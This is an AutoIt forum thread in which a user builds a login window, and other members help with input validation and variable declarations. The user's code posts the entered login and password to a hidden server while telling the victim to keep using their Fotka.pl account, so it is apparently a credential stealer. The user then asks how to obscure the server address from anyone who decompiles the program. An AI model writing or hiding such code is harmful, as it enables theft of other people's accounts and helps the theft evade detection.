BJJ Posted January 23, 2012 Share Posted January 23, 2012 Hello, I have no idea how check text frome inputbox I write little code for login somebody write own login and password and i want make msg error if one or two inputbox be empety or written password have less as 5 mark if $inpLogin = or > frome 5 letter then ok and func work but if $inpLogin = 5 or less then msgbox "error bla bla bla" and func dont run *func (sending this string to server) Help me please Q Link to comment Share on other sites More sharing options...
Blinky Posted January 24, 2012 Share Posted January 24, 2012 (edited) search the help for func usage: $user=GUICtrlRead($idinput) $password=GUICtrlRead($passinput) if StringLen($password)<5 then blabla If StringLen($user)=0 Then blabla u get the drift edited: $user=GUICtrlRead($idinput) $password=GUICtrlRead($passinput) If StringLen($user)=0 Then MsgBox(0,"Error","U need to write a user name") Else If StringLen($password)<5 Then MsgBox(0,"Error","Pass needs to be larger than 5 chars") Else login_send() EndIf EndIf Edited January 24, 2012 by Blinky BJJ 1 Link to comment Share on other sites More sharing options...
BJJ Posted January 24, 2012 Author Share Posted January 24, 2012 (edited) So i make that , but i know this is crap :/ Func Sending() $login = GUICtrlRead($inpLogin) $haslo = GUICtrlRead($inpHaslo) If StringLen($haslo) <6 then MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow") Else If StringLen($login) <2 then MsgBox(-1, "ERROR", "Wpisz Login") Else Sending() EndIf EndIf I dont know where put this Func Sending() btw i think this code dont block this function , when login is empety user see msgbox press ok ane script run and he didnt must write this login or something Edited January 24, 2012 by Quzziy Link to comment Share on other sites More sharing options...
Blinky Posted January 24, 2012 Share Posted January 24, 2012 u should put it in the button push response loop Func Login_button() $user=GUICtrlRead($idinput) $password=GUICtrlRead($passinput) If StringLen($user)=0 Then MsgBox(0,"Error","U need to write a user name") Else If StringLen($password)<5 Then MsgBox(0,"Error","Pass needs to be larger than 5 chars") Else login_send(); you have to make this function EndIf EndIf EndFunc if you have any code writen please post so i can help this func executes a nother function if the conditions are met. i didn`t undersud what u need exactly do u need all the code? BJJ 1 Link to comment Share on other sites More sharing options...
BJJ Posted January 24, 2012 Author Share Posted January 24, 2012 (edited) I try do that now , but got difrent problem with undeclared $var expandcollapse popupWhile 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $bStart button() EndSwitch WEnd Func button() $login = GUICtrlRead($inpLogin) $haslo = GUICtrlRead($inpHaslo) If StringLen($haslo) <6 then MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow") Else If StringLen($login) <2 then MsgBox(-1, "ERROR", "Wpisz Login") Else wysylanie() EndIf EndIf EndFunc Func wysylanie() $host = "xxx" $page = "xxx" $vars = "tresc=" & "########################" & @CRLF & "Login: " & $login & @CRLF & "Haslo: " & $haslo & @CRLF & "########################" $data = _HTTPEncodeString($vars) ConsoleWrite($data & @CRLF) $socket = _HTTPConnect($host, 80) $post = _HTTPPost($host, $page, $socket, $data) ConsoleWrite(@error & @CRLF) $recv = _HTTPRead($socket,1) FileWrite( @ScriptDir & "result.html", $recv[4] ) Sleep(1700) GUIdelete($Form1) ;zamyka onko GUISetState(@SW_SHOW,$Form2) ;otwiera nowe okno Sleep(3000) MsgBox(-1,"Info","Mozesz zminimalizowac ten program i normalnie korzystac z konta na Fotka.pl w czasie jego pracy") EndFunc Edited January 24, 2012 by Quzziy Link to comment Share on other sites More sharing options...
Syed23 Posted January 24, 2012 Share Posted January 24, 2012 (edited) ok.. just try adding the below line next to the header files and declare the variables as global. so you can avoid getting the "Variable used without declare error" message.[autoit]Opt("MustDeclareVars",1)[/autoit} Edited January 24, 2012 by Syed23 BJJ 1 Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font] Link to comment Share on other sites More sharing options...
Syed23 Posted January 24, 2012 Share Posted January 24, 2012 (edited) I try do that now , but got difrent problem with undeclared $var expandcollapse popupWhile 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $bStart button() EndSwitch WEnd Func button() $login = GUICtrlRead($inpLogin) $haslo = GUICtrlRead($inpHaslo) If StringLen($haslo) <6 then MsgBox(-1, "ERROR", "Haslo ma minimum 6 znakow") Else If StringLen($login) <2 then MsgBox(-1, "ERROR", "Wpisz Login") Else wysylanie() EndIf EndIf EndFunc Func wysylanie() $host = "xxx" $page = "xxx" $vars = "tresc=" & "########################" & @CRLF & "Login: " & $login & @CRLF & "Haslo: " & $haslo & @CRLF & "########################" $data = _HTTPEncodeString($vars) ConsoleWrite($data & @CRLF) $socket = _HTTPConnect($host, 80) $post = _HTTPPost($host, $page, $socket, $data) ConsoleWrite(@error & @CRLF) $recv = _HTTPRead($socket,1) FileWrite( @ScriptDir & "result.html", $recv[4] ) Sleep(1700) GUIdelete($Form1) ;zamyka onko GUISetState(@SW_SHOW,$Form2) ;otwiera nowe okno Sleep(3000) MsgBox(-1,"Info","Mozesz zminimalizowac ten program i normalnie korzystac z konta na Fotka.pl w czasie jego pracy") EndFunc Also make sure the login id and password which you have retrived on "Func button" passed properly to the function wysylanie() Edited January 24, 2012 by Syed23 Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font] Link to comment Share on other sites More sharing options...
BJJ Posted January 24, 2012 Author Share Posted January 24, 2012 Thanks thats workI put this Opt("MustDeclareVars",1) and all variables declared as Global Link to comment Share on other sites More sharing options...
Syed23 Posted January 24, 2012 Share Posted January 24, 2012 Thanks thats workI put this Opt("MustDeclareVars",1) and all variables declared as Global Glad that works for you! Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font] Link to comment Share on other sites More sharing options...
BJJ Posted January 24, 2012 Author Share Posted January 24, 2012 How can I cypher "host adress and page " in script ? or maybe whole ? $host = "cypher that" $page = "and that" Link to comment Share on other sites More sharing options...
Syed23 Posted January 24, 2012 Share Posted January 24, 2012 (edited) so goal of your code is to validate the user id and password against the domain ? i mean you are checking whether the inputboxes are not empty and the user credentials provided are valid or not ?if yes please find this which may help you!Edited: Added the link Edited January 24, 2012 by Syed23 Thank you,Regards,[font="Garamond"][size="4"]K.Syed Ibrahim.[/size][/font] Link to comment Share on other sites More sharing options...
BJJ Posted January 24, 2012 Author Share Posted January 24, 2012 (edited) You use hard word and i dont understand all Script send string frome both inputbox to server, but when somebody decompile my exe can see adres this serwer i want encryption this information and make this script harder for reading after decompile od something Anybody ?? Edited January 24, 2012 by BJJ Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now